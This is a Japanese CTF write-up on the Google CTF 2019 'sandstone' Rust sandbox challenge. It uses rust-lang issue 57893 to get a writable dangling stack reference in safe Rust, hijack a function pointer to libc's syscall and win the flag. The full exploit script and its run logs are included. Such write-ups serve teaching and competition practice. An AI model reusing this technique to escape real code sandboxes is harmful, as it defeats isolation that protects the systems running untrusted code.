Google CTF 2019 Quals - sandstone Write-up

tags: ctf pwn sandbox rust

概要

この記事は,CTF Advent Calendar 2019 の3日目の記事です.
2日目は私の「HITCON CTF 2019 Quals - dadadb Write-up (+ call/jmp tracer)」でした.

はじめに

今回はGoogle CTF 2019 Qualsで出題された,sandstoneという問題について解説します.

この問題はrustのpwn問(sandbox問)ですが,私の知る限り,初めてガチのpwnが必要となった問題です(unsafeに作り込まれたバグ,みたいなよくあるrust問ではない).

大会中この問題はチラ見した程度で着手していなかったのですが,解いてみると非常に面白かったので,改めて紹介しようと思った次第です.

問題文

Everyone does a Rust sandbox, so we also have one!
nc sandstone.ctfcompetition.com 1337

ファイルはこちらからDLできます.

準備

Dockerfileが提供されているので,ローカルでテストする場合は環境を用意しておきましょう.

初動解析

この問題はソースコードが提供されているので,バイナリを読む必要はありません.

読みやすいように,少しコメントを入れてみましょう.

extern crate libc; extern crate tempfile; // cargo.tomlのテンプレート ---------------------------------------------------------- static CARGO_TOML_TEMPLATE: &str = r#" [package] name = "sandstone" version = "0.1.0" edition = "2018" [dependencies] libc = "0.2.51" seccomp-sys = "0.1.2" "#; // main.rsのテンプレート ---------------------------------------------------------- static MAIN_TEMPLATE: &str = r#" #![feature(nll)] extern crate libc; extern crate seccomp_sys; use seccomp_sys::*; mod sandstone; fn setup() { unsafe { // seccomp設定. // writeは第一引数が0か1の場合のみ許可 // sigaltstack, mmap, munmap, exit_groupは許可 let context = seccomp_init(SCMP_ACT_KILL); assert!(!context.is_null()); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_write as i32, 1, scmp_arg_cmp { arg: 0, op: scmp_compare::SCMP_CMP_EQ, datum_a: 1, datum_b: 0 }) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_sigaltstack as i32, 0) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_mmap as i32, 0) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_munmap as i32, 0) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_exit_group as i32, 0) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_TRACE(0x1337), 0x1337, 0) == 0); assert!(seccomp_load(context) == 0); } } fn main() { setup(); // seccompでガチガチに封じられるが,syscall(0x1337)を呼べば勝ち sandstone::main(); } "#; // sandstone.rsのテンプレート ---------------------------------------------------------- static SANDSTONE_TEMPLATE: &str = r#" #![feature(nll)] #![forbid(unsafe_code)] pub fn main() { println!("{:?}", (REPLACE_ME)); } "#; // 以下,コードのラッパー ---------------------------------------------------------- // rustのコードを読み込んでサニタイズした後,sandstone.rsに埋め込む. // forkして,親はptraceでシステムコールを監視 // 子はsandstoneを実行(main.rsのコードから始まり,sandstone.rsのコードが呼ばれる) // 子の中でsyscall(0x1337)を呼べば勝ちらしい fn write_file(dir: &tempfile::TempDir, name: &str, contents: &str) { let path = dir.path().join(name); std::fs::create_dir_all(path.as_path().parent().unwrap()).unwrap(); std::fs::write(path, contents).unwrap(); } fn build(dir: &tempfile::TempDir) { let mut cmd = std::process::Command::new("cargo"); cmd.arg("build").arg("--release") .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::null()) .current_dir(dir.path()); if let Ok(args) = std::env::var("CARGO_EXTRA_ARGS") { for arg in args.split(" ") { cmd.arg(arg); } } cmd.status().unwrap(); } fn child(dir: &tempfile::TempDir) { use std::ffi::CString; unsafe { assert!(libc::raise(libc::SIGSTOP) != -1); let executable = dir.path().join("target/release/sandstone"); let cmd = CString::new(executable.as_os_str().to_str().unwrap()).unwrap(); let argv = vec![cmd.as_ptr(), std::ptr::null()]; libc::execvp(cmd.as_ptr(), argv.as_ptr()); } panic!("execvp failed"); } fn print_flag() { let stdout = std::io::stdout(); let mut handle = stdout.lock(); let mut f = std::fs::File::open("flag").unwrap(); std::io::copy(&mut f, &mut handle).unwrap(); } fn parent(child: libc::pid_t) { use libc::*; assert!(unsafe { ptrace( PTRACE_SEIZE, child, 0, PTRACE_O_TRACESECCOMP | PTRACE_O_EXITKILL, ) } != -1); loop { let mut status: c_int = 0; let pid = unsafe { wait(&mut status) }; assert!(pid != -1); if unsafe { WIFEXITED(status) } { break; } if (status >> 8) == (SIGTRAP | (PTRACE_EVENT_SECCOMP << 8)) { let mut nr: c_ulong = 0; assert!(unsafe { ptrace(PTRACE_GETEVENTMSG, pid, 0, &mut nr) } != -1); if nr == 0x1337 { assert!(unsafe { ptrace(PTRACE_KILL, pid, 0, 0) } != -1); print_flag(); break; } } unsafe { ptrace(PTRACE_CONT, pid, 0, 0) }; } } fn run(dir: &tempfile::TempDir) { unsafe { libc::alarm(15) }; let pid = unsafe { libc::fork() }; match pid { 0 => child(&dir), _ if pid < 0 => panic!("fork failed"), _ => parent(pid), }; } fn read_code() -> String { use std::io::BufRead; let stdin = std::io::stdin(); let handle = stdin.lock(); let code = handle .lines() .map(|l| l.expect("Error reading code.")) .take_while(|l| l != "EOF") .collect::<Vec<String>>() .join("\n"); for c in code.replace("print!", "").replace("println!", "").chars() { if c == '!' || c == '#' || !c.is_ascii() { panic!("invalid character"); } } for needle in &["libc", "unsafe"] { if code.to_lowercase().contains(needle) { panic!("no {} for ya!", needle); } } code } fn main() { println!("{}", "Reading source until EOF..."); let code = read_code(); let temp = tempfile::tempdir().unwrap(); write_file(&temp, "Cargo.toml", CARGO_TOML_TEMPLATE); write_file(&temp, "src/main.rs", MAIN_TEMPLATE); write_file(&temp, "src/sandstone.rs", &SANDSTONE_TEMPLATE.replace("REPLACE_ME", &code)); build(&temp); run(&temp); }

図にまとめるとこんな感じです.

要は,ユーザの送ったコードがsandstone.rsとして保存され,ビルドされるとchildとして実行されます.
但し当然ながらユーザの送ったコードはサニタイズされ,以下の文字列を受け付けません.

そして,ゴールはchildでsyscall(0x1337)を呼ぶことです(parentがptraceでchildの発行するシステムコール番号を監視しています).

脆弱性

他のWrite-upを読んで知ったのですが,実はこの問題には脆弱性がありません.
つまり言語仕様だけをうまく使って,任意のシステムコールを呼ぶ必要があります.

しかしrustはメモリ管理が非常に強固な言語で,普通に考えれば(unsafe宣言されたブロックを除いて)任意のシステムコールを呼ぶ方法はありません.ではどうすればよいのでしょうか.その答えは,既知の未解決なissueを探す,だそうです.

まずrustのgithubでissueページに飛びます.
https://github.com/rust-lang/rust/issues

ヤバい系の問題は,I-unsound(健全性の不備)というラベルが付けられているそうです.爆発マークまでついています.

数十件のissueが見つかりますが,このうち以下のissueが,今回悪用できるやつでした.

https://github.com/rust-lang/rust/issues/57893

issue 57893の解説

issue 57893は,簡単に言うと「スタック上のダングリングポインタが手に入る」問題です.
issue 57893のPoCでは,非mutu64を使っているためダングリングポインタを読み取り専用としていますが,これはmut[u64; SIZE]にすることで,書き込み可能かつSIZE個の要素を持つ配列へのダングリングポインタにすることができます.

以下は,わかりやすく説明を付与したメモです.

// https://github.com/rust-lang/rust/issues/57893 // 配列サイズを適当に定めておく const SIZE: usize = 0x30; /* +--------------------+ | Sizedトレイト |<---------(オプション)--------------------+ +--------------------+ | | +--------------------+ | |(1) Objectトレイト |<-------------(4)------------------------+ | (Output型を持つ) |<------------+ | +--------------------+ | | | | +--------------------+ | | |(2) Markerトレイト |<------------|---------------------------+ | ('bを持つ) |<-----(3)----+ | +--------------------+ | | dyn Object型(※) 型T ※トレイトとは,簡単にいうと型や構造体が持つべきメンバやメソッドをまとめたルール. ある関数Aに対しテンプレート引数を定める時,そのテンプレート引数が満たす条件を トレイトとして定めることができる.関数Aにトレイトを指定しておくことで, そのトレイトに従う型であれば,少なくとも関数Aが正しく動作することが保証できる, のような用途で使われる. ※正確にはObjectトレイトを元にしたトレイトオブジェクトで, Objectトレイトの制約を満たす何らかの型を意味する. 実行時に正確な型が定まる動的ディスパッチのことであり,旧記法は&Objectである. */ // (1) // Objectトレイトに従う型は,内部にOutput型を持たなければならないと定める. // Output型が実際どのような型であるかはここでは問わない. // impl時にtype Output = ...で指定しても良いし,dyn Object<Output = ...>で指定してもよい. trait Object { type Output; } // (2) // Markerトレイトに従う型は,ライフタイム'bを持つと定める. trait Marker<'b> {} // (3) // Objectトレイトを具現化したdyn Object型が,Markerトレイトにも適合するよう実装している. // Markerトレイトに従う場合は,単にライフタイム'bがあれば良い. // なおdyn Object型はObjectトレイトに従うのだから, // Output型を持たなければならないので,それは&'b mut [u64]であると定めている. impl<'b> Marker<'b> for dyn Object<Output=&'b mut [u64]> {} // (4) // Markerトレイト(とSizedトレイト(?付きなのでオプション扱い))を持つ任意の型Tは, // Objectトレイトにも適合するよう実装している. // ObjectトレイトはOutput型を持つ必要があるので,&'static mut [u64];であるとしている. impl<'b, T: Marker<'b> + ?Sized> Object for T { type Output = &'static mut [u64]; } // 関数fooはライフタイム'a, 'bを持ち,型Tを扱う.型TはMarkerトレイト(とSizedトレイト)に // 従っていなければならない. // 但しMarkerトレイト(とSizedトレイト)に従う型Tは,必ずObjectトレイトにも適合しているはずである. // つまりOutput型を必ず持っており,Objectトレイトとして見ることでOutput型を取り出す事が可能. // 引数xの型はそのOutput型であり,戻り値の型は&'a mut [u64]である. fn foo<'a, 'b, T: Marker<'b> + ?Sized>(x: <T as Object>::Output) -> &'a mut [u64] { x // 型TはMarkerトレイト(とSizeトレイト)に従うため, // Objectトレイトにも従っているとみなすことが出来る. // ObjectトレイトはOutput型を持つため,Output型を取り出すが, // このOutput型は&'staticなライフタイムであり,それが返される. } // ライフタイム'b のxを受け取り,ライフタイム'aに変換したxを返す. // 関数fooに対し,型Tをdyn Object型として呼び出す. fn transmute_lifetime<'a, 'b>(x: &'b mut [u64]) -> &'a mut [u64] { foo::<dyn Object<Output=&'b mut [u64]>>(x) } // スタック上に配列xを作成し,そのxのライフタイムを変更した上で返す. fn get_dangling<'a>() -> &'a mut [u64] { let mut x: [u64; SIZE] = [0; SIZE]; transmute_lifetime(&mut x) } // debug用 fn dump(r: & [u64]) { println!("--------------------"); for i in 0..SIZE { if r[i] > 0 { println!("{}: {:x}", i, r[i]); } } } fn overwrite(r: &mut [u64]) { println!("--------------------"); for i in 0..SIZE { r[i] = 0xdeadbeef; println!("{}: {:x}", i, r[i]); } } fn main() { let mut r = get_dangling(); dump(&r); overwrite(&mut r); }

これを実行すると,次のようになります.

root@Ubuntu1804-64:~/rust-lang/hoge# cargo run Compiling hoge v0.1.0 (/root/rust-lang/hoge) Finished dev [unoptimized + debuginfo] target(s) in 0.19s Running `target/debug/hoge` -------------------- 0: 561def7d2020 1: 3 2: 561def5c7e02 3: 6 4: 7fffa1a2e310 5: 7fffa1a2e340 6: 561def5a52ea 7: 561def5c5b90 8: 7fffa1a2e118 9: 561def5c5fa0 10: 7fffa1a2e1e0 11: 30 12: c 13: 30 14: e 15: 30 17: 7fffa1a2e0d8 18: 30 19: 561def7d1ff8 20: 1 23: 8 26: 30 27: 1c 28: 30 29: 1d 30: 1 31: 1f 32: 20 33: 21 34: 561def7d2020 35: 3 37: 7fffa1a2e200 38: 7fffa1a2e218 39: 2 40: 7fffa1a2e1e0 41: 561def5c5fa0 42: 7fffa1a2e228 43: 561def5c5b90 44: 7fffa1a2e1e0 45: 7fffa1a2e240 46: 7fffa1a2e1e0 47: 7fffa1a2e250 -------------------- 0: 561def7d2020 // 0xdeadbeefに書き換えた後に更に書き換えられているように見えます 1: 3 // おそらくprintlnマクロの内部などで利用されたのでしょう 2: 561def5c7e02 3: 6 4: 7fffa1a2e310 5: 7fffa1a2e340 6: 561def5a557a 7: 561def5c5b90 8: 7fffa1a2e118 9: 561def5c5fa0 10: 7fffa1a2e1e0 11: 30 12: c 13: deadbeef 14: deadbeef 15: deadbeef 16: deadbeef Segmentation fault (core dumped) root@Ubuntu1804-64:~/rust-lang/hoge#

これで任意のリークと,スタック上の任意書き込みができるようになりました.

攻略

後は問題に適合する形にするだけです.つまりsyscall(0x1337)を呼べば良いですね.具体的には,$rdi=0x1337にしてからlibc.so内にあるsyscallへ飛ばす,ということになります.

さて最も簡単な方法は何でしょうか.

スタック上のリターンアドレスを上書きする?いいえ,できなくはないですが,思ったよりも多分面倒なのでやめておきましょう.一応理由を書いておくと,次のとおりです.

get_dangling()後に,別の関数(stack_smash()としよう)を一度呼び出しただけでは, そのret-addrまでサイズが足りず辿り着けない. stack +---------------+ +---------------+ | | | | | x[0] | | 一時変数 | | x[1] | | 一時変数 | | x[2] | | 一時変数 | | ... | | ... | | x[SIZE-1] | | 一時変数 | | | -> -> | | | ret-addr | | ret-addr | <- ret-addrまでは +---------------+ +---------------+ +---------------+ 上書きできない | r | | r = &x[0] | | r = &x[0] | | | | | | | | | | | | | | | | | | | | | | | | | +---------------+ +---------------+ +---------------+ get_dangling()を get_dangling()から stack_smash()を 呼び出したところ 返ってきたところ 呼び出したところ 但し,さらにもう一つ関数を呼び出すことで,上手いことリターンアドレスを 書き換えることはできそうである. stack +---------------+ +---------------+ | | | | | x[0] | | 一時変数 | | x[1] | | | | x[2] | | ret-addr | <- このret-addrは | ... | +---------------+ 書き換えができそう | x[SIZE-1] | | 一時変数 | | | -> -> | | | ret-addr | | ret-addr | <- ret-addrまでは +---------------+ +---------------+ +---------------+ 上書きできない | r | | r = &x[0] | | r = &x[0] | | | | | | | | | | | | | | | | | | | | | | | | | +---------------+ +---------------+ +---------------+ get_dangling()を get_dangling()から stack_smash()を呼び出し 呼び出したところ 返ってきたところ 更にstack_smash2()を 呼び出したたところ

うまくいきそうではありますが,若干調整が面倒そうなのでもっと簡単な方法があればそちらが嬉しいですね.

少し考えたところ,もっと直感的でわかりやすい方法があったので,そちらを使うことにしました.スタック上に関数ポインタを配置し,その値を上書きしたあとに,func_ptr(0x1337)を呼べばよいのです.

stack +---------------+ +---------------+ | | | | | x[0] | | 一時変数 | | x[1] | | 一時変数 | | x[2] | | 関数ポインタ | <- syscall@libcに差替 | ... | | ... | | x[SIZE-1] | | 一時変数 | | | -> -> | | | ret-addr | | ret-addr | +---------------+ +---------------+ +---------------+ | r | | r = &x[0] | | r = &x[0] | | | | | | | | | | | | | | | | | | | | | | | | | +---------------+ +---------------+ +---------------+ get_dangling()を get_dangling()から stack_smash()を 呼び出したところ 返ってきたところ 呼び出したところ

しかし,実際にやってみるとこちらも結構大変でした.理由はrustの最適化です.

最適化の回避

配布されたmain.rsの中身を見てみましょう.build()関数内で,--releaseオプションがつけられています.

このbuildオプションは結構厄介で,少なくとも次のような最適化がありました.

さて,では一つずつ回避していきましょう.

インライン化の回避

rust--releaseビルドでは,関数は最適化によりその多くがインライン化されます.

例えば,以下のコードは

fn hoge(a : usize) { println!("in hoge"); } fn main() { println!("in main"); hoge(0); }

以下のようになります.

この最適化はかなり強力で,多少長い関数であってもインライン化されてしまいます.しかし回避方法は存在します.それは,関数が再帰関数だった場合です.例えば以下の関数は,0x1000回再帰するので,インライン化するよりもそのままにしておいた方が効率が良いと判定されるはずです(ちゃんと調べたわけではないですが).

fn hoge(a : usize) { if a >= 0x1000 { return } hoge(a+1); } fn main() { hoge(0); }

でも無駄に再帰させるのはそれこそ意味がないので,条件付きで再帰させるようにするのが良いでしょう.実行時まで動作が非決定的かつ,分岐の可否をコントロールできるような動きをするには,例えば環境変数を参照させる方法が良いでしょう.存在しない環境変数を参照させれば,必ず偽が返ります.

fn hoge(a : usize) { // avoid optimization if let Ok(_) = std::env::var("AABB") { hoge(a+1); // unreachable } } fn main() { hoge(0); }

これで,最適化によるインライン化は回避できました.

コード埋め込みの回避,レジスタ保持の回避

次のようなコードはどう最適化がかかるでしょうか.関数ポインタdummyを引数として渡しています.

fn dummy(a: usize) { // avoid optimization if let Ok(_) = std::env::var("AABB") { dummy(a+1); // unreachable } } fn hoge(f: fn(usize)) { // avoid optimization if let Ok(_) = std::env::var("AABB") { hoge(f); // unreachable } f(0x1337); } fn main() { hoge(dummy); }

実はビルドされたコードでは,関数ポインタdummyhoge()の中に埋め込まれており,mainからの呼び出し時は引数としてなかったことにされてしまいます.

これがコードへの埋め込みによる最適化です.関数ポインタをスタックに保存させるには,どうすれば良いでしょうか.

試行錯誤した結果,以下でなんとかうまくいきました.コードの埋め込みは回避できませんでしたが,関数ポインタをスタック上に保存させることができました.

fn dummy1(a: usize) { // avoid optimization if let Ok(_) = std::env::var("AABB") { dummy1(a-1); // unreachable } } fn dummy2(a: usize) { // avoid optimization if let Ok(_) = std::env::var("AABB") { dummy2(a+1); // unreachable } } fn hoge(f: fn(usize), g: fn(usize)) { let table : [fn(usize); 5]; // avoid optimization if let Ok(_) = std::env::var("AABB") { table = [g,g,g,g,g]; } else { table = [f,f,f,f,f]; // must used } // avoid optimization let idx: usize; if let Ok(_) = std::env::var("AABB") { idx = 0; } else { idx = 1; // must used }; table[idx](0x1337); // call f // avoid optimization if let Ok(_) = std::env::var("AABB") { hoge(f,g); // unreachable } } fn main() { hoge(dummy1, dummy2); }

Exploit

ここまで来たら,後は簡単ですね.スタック上に保存された関数ポインタを差し替えて,libc内のsyscallに向けるだけです.

#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib
def sock(host, port):
s = socket.create_connection((host, port))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim): data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
HOST, PORT = "sandstone.ctfcompetition.com", 1337
s, f = sock(HOST, PORT)
code = """
{
//-------------------------------------------------------
// https://github.com/rust-lang/rust/issues/57893
const SIZE: usize = 0x30;
trait Object { type Output; }
trait Marker<'b> {}
impl<'b> Marker<'b> for dyn Object<Output=&'b mut [u64]> {
// nothing
}
impl<'b, T: Marker<'b> + ?Sized> Object for T {
type Output = &'static mut [u64];
}
fn foo<'a, 'b, T: Marker<'b> + ?Sized>(x: <T as Object>::Output) -> &'a mut [u64] {
x
}
fn transmute_lifetime<'a, 'b>(x: &'a mut [u64]) -> &'b mut [u64] {
foo::<dyn Object<Output=&'a mut [u64]>>(x)
}
fn get_dangling<'a>() -> &'a mut [u64] {
let mut x: [u64; SIZE] = [0; SIZE];
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
return get_dangling(); // unreachable
}
transmute_lifetime(&mut x)
}
//-------------------------------------------------------
fn dump(r: & [u64]) {
for i in 0..SIZE {
if r[i] > 0 {
println!("{}: {:x}", i, r[i]);
}
}
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
return dump(r); // unreachable
}
}
fn stack_smash(r: &mut [u64], round: i32, f: fn(usize), g: fn(usize)) {
let table : [fn(usize); 5];
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
table = [g,g,g,g,g];
} else {
table = [f,f,f,f,f]; // must used
}
dump(&r); // show stack for debug
for i in 0..SIZE {
//r[i] = r[35] - 0x101e50/2; // local
r[i] = r[33] - 0x101e50/2; // remote
}
// avoid optimization
let idx: usize;
if let Ok(_) = std::env::var("AABB") {
idx = 0;
} else {
idx = 1; // must used
};
table[idx](0x1337); // call f
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
stack_smash(r, round-1, f, g); // unreachable
}
}
fn dummy1(nr: usize) {
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
dummy1(nr-1); // unreachable
}
}
fn dummy2(nr: usize) {
// avoid optimization
if let Ok(_) = std::env::var("AABB") {
dummy2(nr+1); // unreachable
}
}
fn exploit() {
let mut r = get_dangling();
stack_smash(&mut r, 0x13371337, dummy1, dummy2);
}
exploit()
}
"""
f.write(code)
s.shutdown(socket.SHUT_WR)
shell(s)
view raw exp.py hosted with ❤ by GitHub
root@Ubuntu1804-64:~/ctf/GoogleCTF-2019/sandstone# py exp.py
Reading source until EOF...
3: 0
4: 7ffdd9b4b308
5: 2
6: 55595776a103
7: 55595776a1a0
8: 13371337
9: 55595775de13
10: 6
11: c
12: 7ffdd9b4b308
13: 555957768058
14: 7ffdd9b4b2c8
15: 55595773c4e2
17: 555957768058
18: 3
21: 7ffdd9b4b308
22: 2
23: 7ffdd9b4b240
24: 18
25: 7ffdd9b4b300
26: 55595775af50
27: 7ffdd9b4b318
28: 55595775ab10
29: 7ffdd9b4b240
30: 7ffdd934d000
31: 7ffdd934c000
32: 13371337
33: 7f6e67638120
35: 55595773c62f
36: 1
40: 55595773c850
41: 55595773c850
42: 55595773c850
43: 55595773c850
44: 55595773c850
46: 555958bb5a40
47: 7ffdd9b4b4f0
()
CTF{InT3ndEd_8yP45_w45_g1tHu8_c0m_Ru5t_l4Ng_Ru5t_1ssue5_31287}
*** Connection closed by remote host ***
root@Ubuntu1804-64:~/ctf/GoogleCTF-2019/sandstone#
view raw log hosted with ❤ by GitHub

尚,フラグ内にissue 31287を使えと書いてありますが,どうやらこれは運営のミスらしいとどこかで聞いた記憶があります(問題が出されたタイミングでは治っていた?).

終わりに

rustでunsafeを使わずにpwnするのは不可能だと思っていましたが,既知の問題を利用すればできるということが分かりました.

今年のSECCONでもrust問が出たらしいですね(想定解はraceらしい).でもこのissueと使い方を知っていれば,簡単に解くことができるという発言をどこかでチラ見した記憶があります.探したら見つけましたので貼っておきます.

このissueは未だ治っていないので,今後ソースコードをアップロードするタイプのrust問なら,ほとんど使いまわしができそうですね.知っているのと知らないのでは大きく解答スピードに違いが出るため,ぜひ覚えておきましょう.

明日は私のGoogle CTF 2019 Finals - sbox Write-upです.

全部見るトップへ戻る底へ移る